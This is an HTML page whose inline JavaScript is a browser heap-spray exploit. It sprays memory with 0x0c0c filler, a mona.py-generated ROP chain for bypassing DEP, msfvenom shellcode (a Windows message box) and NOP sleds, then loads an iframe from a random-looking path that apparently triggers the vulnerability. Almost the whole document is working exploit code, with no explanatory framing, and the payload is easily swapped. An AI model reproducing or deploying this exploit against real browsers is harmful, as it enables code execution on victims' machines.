<html>
<body>
<script>
var arrr
=
new Array();
arrr[
0
]
=
window.document.createElement(
"img"
);
arrr[
0
][
"src"
]
=
"E"
;
function alloc(
len
,
str
) {
while
(
str
.length <
len
)
str
+
=
str
;
return
str
.substr(
0
, (
len
-
6
)
/
2
);
}
var block_size
=
0x1000
/
2
;
/
/
一页大小
var offset
=
(
0x0c0c
-
0x0020
-
4
)
/
2
;
var filler
=
unescape(
"%u0c0c"
);
while
(filler.length < offset) {
filler
+
=
filler;
}
filler
=
filler.substring(
0
, offset);
/
/
msfvenom
-
p windows
/
messagebox
-
f js_le
var shellcode
=
unescape(
"%uebd9%ud99b%u2474%u31f4%ub2d2%u3177%u64c9%u718b%u8b30%u0c76%u768b%u8b1c%u0846%u7e8b%u8b20%u3836%u184f%uf375%u0159%uffd1%u60e1%u6c8b%u2424%u458b%u8b3c%u2854%u0178%u8bea%u184a%u5a8b%u0120%ue3eb%u4934%u348b%u018b%u31ee%u31ff%ufcc0%u84ac%u74c0%uc107%u0dcf%uc701%uf4eb%u7c3b%u2824%ue175%u5a8b%u0124%u66eb%u0c8b%u8b4b%u1c5a%ueb01%u048b%u018b%u89e8%u2444%u611c%ub2c3%u2908%u89d4%u89e5%u68c2%u4e8e%uec0e%ue852%uff9f%uffff%u4589%ubb04%ud87e%u73e2%u1c87%u5224%u8ee8%uffff%u89ff%u0845%u6c68%u206c%u6841%u3233%u642e%u7568%u6573%u3072%u88db%u245c%u890a%u56e6%u55ff%u8904%u50c2%ua8bb%u4da2%u87bc%u241c%ue852%uff5f%uffff%u6f68%u5878%u6820%u6761%u4265%u4d68%u7365%u3173%u88db%u245c%u890a%u68e3%u2058%u2020%u4d68%u4653%u6821%u6f72%u206d%u6f68%u202c%u6866%u6548%u6c6c%uc931%u4c88%u1024%ue189%ud231%u5352%u5251%ud0ff%uc031%uff50%u0855"
);
/
/
rop chain generated with mona.py
-
www.corelan.be
var rop_gadgets
=
unescape(
"%u5b4f%u7c36"
+
/
/
0x7c365b4f
: ,
"%u0201%u0000"
+
/
/
0x00000201
: ,
"%u8b05%u7c34"
+
/
/
0x7c348b05
: ,
""
+
/
/
"%u6d28%u7c35"
+
/
/
0x7c356d28
: ,
"%u6d28%u7c35"
+
/
/
0x7c356d28
: ,
""
+
/
/
/
/
"%u09cf%u7c36"
+
/
/
0x7c3609cf
: ,
/
/
"%u0201%u0000"
+
/
/
0x00000201
: ,
""
+
/
/
"%u4f8e%u7c34"
+
/
/
0x7c344f8e
: ,
"%u0040%u0000"
+
/
/
0x00000040
: ,
""
+
/
/
"%u8ab2%u7c35"
+
/
/
0x7c358ab2
: ,
"%uf2a1%u7c38"
+
/
/
0x7c38f2a1
: ,
""
+
/
/
"%ue239%u7c36"
+
/
/
0x7c36e239
: ,
"%ud202%u7c34"
+
/
/
0x7c34d202
: ,
""
+
/
/
"%uf8f8%u7c34"
+
/
/
0x7c34f8f8
: ,
"%u15a2%u7c34"
+
/
/
0x7c3415a2
: ,
"%u6747%u7c37"
+
/
/
0x7c376747
: ,
"%ua151%u7c37"
+
/
/
0x7c37a140
: ,
""
+
/
/
"%u8c81%u7c37"
+
/
/
0x7c378c81
: ,
""
+
/
/
"%u5c30%u7c34"
+
/
/
0x7c345c30
: ,
"");
var nop
=
unescape(
"%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090"
);
rop_gadgets
+
=
nop;
for
(i
=
0
; i < block_size; i
+
+
)
nop
+
=
unescape(
"%u9090"
);
nop
=
nop.substring(
0
, block_size
-
rop_gadgets.length
-
shellcode.length
-
filler.length);
var block
=
filler
+
rop_gadgets
+
shellcode
+
nop;
block
=
alloc(
0xfffe0
, block);
/
/
1MB
堆内存
len_block
=
block.length;
heap_chunks
=
new Array();
for
(i
=
0
; i <
150
; i
+
+
)
heap_chunks[i]
=
block.substr(
0
, block.length);
<
/
script>
<iframe src
=
"../hpIpD0pjgv/UGuQTe.html"
><
/
iframe>
<
/
body>
<
/
html>